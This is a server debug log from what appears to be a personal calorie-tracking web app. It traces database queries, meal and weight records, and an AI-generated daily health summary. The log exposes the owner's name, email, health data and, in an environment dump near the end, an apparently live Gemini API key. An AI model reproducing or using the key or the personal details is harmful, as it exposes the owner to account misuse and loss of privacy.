    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-21T04:01:46.212Z server-connect:output summary: undefined
2025-12-21T04:01:46.213Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-21T04:01:46.214Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-21T04:01:46.214Z server-connect:app Executing action step select
2025-12-21T04:01:46.214Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-21T04:01:46.216Z server-connect:output item_list: [
  {
    id: 473,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Aalo Matar Ghughri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving',
    replacements: 'Aalo Matar Ghughri with less oil,Steamed vegetables with a side of lean protein,Lentil soup (dal) with vegetables',
    created_at: '2025-12-20T22:31:45.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, traditional preparations can be high in oil. For muscle development, focusing on higher protein and lower fat options might be more beneficial, especially if consumed frequently. However, in moderation, it's an acceptable dish."
  }
]
2025-12-21T04:01:46.216Z server-connect:app Executing action step setvalue
2025-12-21T04:01:46.217Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-21T04:01:46.217Z server-connect:output var_total: 250
2025-12-21T04:01:46.217Z server-connect:app Executing action step setvalue
2025-12-21T04:01:46.217Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-21T04:01:46.217Z server-connect:output var_consumed: 10
2025-12-21T04:01:46.217Z server-connect:app Executing action step setvalue
2025-12-21T04:01:46.217Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-21T04:01:46.217Z server-connect:output var_deficit: 2150
2025-12-21T04:01:46.217Z server-connect:app Executing action step custom
2025-12-21T04:01:46.217Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-21T04:01:46.219Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '250',
    surplus_or_deficit: '2150',
    status_flag: 2
  }
]
2025-12-21T04:01:46.789Z server-connect:app Executing action step identify
2025-12-21T04:01:46.789Z server-connect:app options: { provider: 'security' }
2025-12-21T04:01:46.789Z server-connect:output identity: 1
2025-12-21T04:01:54.707Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-21T04:01:54.707Z server-connect:app Executing action step identify
2025-12-21T04:01:54.707Z server-connect:app options: { provider: 'security' }
2025-12-21T04:01:54.707Z server-connect:output identity: 1
2025-12-21T04:01:54.707Z server-connect:app Executing action step restrict
2025-12-21T04:01:54.707Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T04:01:54.708Z server-connect:output restrict: undefined
2025-12-21T04:01:54.709Z server-connect:app Executing action step select
2025-12-21T04:01:54.709Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-21T04:01:54.710Z server-connect:output items_consumed_today: [
  {
    id: 473,
    item_name: 'Aalo Matar Ghughri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving'
  }
]
2025-12-21T04:01:54.711Z server-connect:app Executing action step paged
2025-12-21T04:01:54.711Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-21T04:01:54.714Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 17,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-20T18:30:00.000Z', weight: '69.80' },
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' }
  ]
}
2025-12-21T04:01:54.715Z server-connect:app Executing action step run
2025-12-21T04:01:54.715Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-21T04:01:54.716Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 473 | Aalo Matar Ghughri | 250 | 8 | 35 | 10 | 1 serving |\n' +
  '\n'
2025-12-21T04:01:54.716Z server-connect:app Executing action step run
2025-12-21T04:01:54.717Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-21T04:01:54.718Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-21T04:01:54.718Z server-connect:app Executing action step setvalue
2025-12-21T04:01:54.718Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-21T04:01:54.718Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 473 | Aalo Matar Ghughri | 250 | 8 | 35 | 10 | 1 serving |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-21T04:01:54.718Z server-connect:app Executing action step processWithGemini
2025-12-21T04:01:54.718Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-21T04:01:56.197Z server-connect:output health_summary: {
  summary: "The day's nutrition appears to be quite limited, with only one food item logged. This single item, while containing some carbohydrates and fats, is likely insufficient to support muscle development and recovery goals, especially with a consistent gym routine. The weight trend shows a general downward movement over the past two weeks, indicating some progress.",
  rating: 3,
  good_points: [
    'Consistent gym attendance is a positive for muscle development and fat loss.'
  ],
  bad_points: [
    'Extremely low food intake for the day.',
    'Lack of protein sources to support muscle repair and growth.',
    'Potential for insufficient energy to fuel workouts and daily activities.',
    'Limited variety in food choices, impacting micronutrient intake.'
  ],
  suggestions: [
    'Incorporate at least two more substantial meals throughout the day.',
    'Prioritize protein-rich foods like lean meats, poultry, fish, dairy, or legumes in each meal.',
    'Ensure adequate carbohydrate intake to replenish energy stores after workouts.',
    'Include healthy fats from sources like nuts, seeds, or avocados.',
    'Stay well-hydrated by drinking plenty of water.'
  ],
  predicted_weight_trend: 'Continued slow loss',
  predicted_weight: 69.7
}
2025-12-21T04:01:56.198Z server-connect:app Executing action step condition
2025-12-21T04:01:56.198Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-21T04:01:56.198Z server-connect:app Executing action step delete
2025-12-21T04:01:56.198Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-21T04:01:56.199Z server-connect:output delete: { affected: 0 }
2025-12-21T04:01:56.199Z server-connect:app Executing action step insert
2025-12-21T04:01:56.200Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-21T04:01:56.200Z server-connect:output insert: { affected: 1, identity: 49 }
2025-12-21T04:01:56.200Z server-connect:output condition: undefined
2025-12-21T04:01:56.422Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-21T04:01:56.422Z server-connect:app Executing action step identify
2025-12-21T04:01:56.422Z server-connect:app options: { provider: 'security' }
2025-12-21T04:01:56.422Z server-connect:output identity: 1
2025-12-21T04:01:56.422Z server-connect:app Executing action step restrict
2025-12-21T04:01:56.422Z server-connect:app options: { provider: 'security' }
2025-12-21T04:01:56.422Z server-connect:output restrict: undefined
2025-12-21T04:01:56.422Z server-connect:app Executing action step single
2025-12-21T04:01:56.422Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-21T04:01:56.423Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "The day's nutrition appears to be quite limited, with only one food item logged. This single item, while containing some carbohydrates and fats, is likely insufficient to support muscle development and recovery goals, especially with a consistent gym routine. The weight trend shows a general downward movement over the past two weeks, indicating some progress.",
    bad_points: [
      'Extremely low food intake for the day.',
      'Lack of protein sources to support muscle repair and growth.',
      'Potential for insufficient energy to fuel workouts and daily activities.',
      'Limited variety in food choices, impacting micronutrient intake.'
    ],
    good_points: [
      'Consistent gym attendance is a positive for muscle development and fat loss.'
    ],
    suggestions: [
      'Incorporate at least two more substantial meals throughout the day.',
      'Prioritize protein-rich foods like lean meats, poultry, fish, dairy, or legumes in each meal.',
      'Ensure adequate carbohydrate intake to replenish energy stores after workouts.',
      'Include healthy fats from sources like nuts, seeds, or avocados.',
      'Stay well-hydrated by drinking plenty of water.'
    ],
    predicted_weight: 69.7,
    predicted_weight_trend: 'Continued slow loss'
  },
  date: '2025-12-20T18:30:00.000Z'
}
2025-12-21T04:02:07.452Z server-connect:app Executing action step identify
2025-12-21T04:02:07.452Z server-connect:app options: { provider: 'security' }
2025-12-21T04:02:07.453Z server-connect:output identity: 1
2025-12-21T04:02:09.927Z server-connect:app Executing action step identify
2025-12-21T04:02:09.928Z server-connect:app options: { provider: 'security' }
2025-12-21T04:02:09.928Z server-connect:output identity: 1
2025-12-21T04:02:13.596Z server-connect:app Executing action step identify
2025-12-21T04:02:13.596Z server-connect:app options: { provider: 'security' }
2025-12-21T04:02:13.596Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 04:27:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 04:27:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 04:38:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 04:38:07' as DATETIME)"
}
2025-12-21T05:27:16.722Z server-connect:router Serving templateView /
2025-12-21T05:27:16.723Z server-connect:app Executing action step identify
2025-12-21T05:27:16.723Z server-connect:app options: { provider: 'security' }
2025-12-21T05:27:16.723Z server-connect:auth No login cookie found
2025-12-21T05:27:16.723Z server-connect:output identity: false
2025-12-21T05:27:16.723Z server-connect:app Executing action step restrict
2025-12-21T05:27:16.723Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T05:27:16.724Z server-connect:output restrict: undefined
2025-12-21T05:27:16.821Z server-connect:router Serving templateView /login
2025-12-21T05:27:16.821Z server-connect:app Executing action step identify
2025-12-21T05:27:16.821Z server-connect:app options: { provider: 'security' }
2025-12-21T05:27:16.821Z server-connect:auth No login cookie found
2025-12-21T05:27:16.821Z server-connect:output identity: false
2025-12-21T05:27:16.821Z server-connect:router Render template layouts/authentication
2025-12-21T05:27:16.822Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'upgrade-insecure-requests': '1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    priority: 'u=0, i',
    'x-forwarded-for': '159.223.26.190',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T05:27:16.821Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '159.223.26.190',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    HTTP_PRIORITY: 'u=0, i',
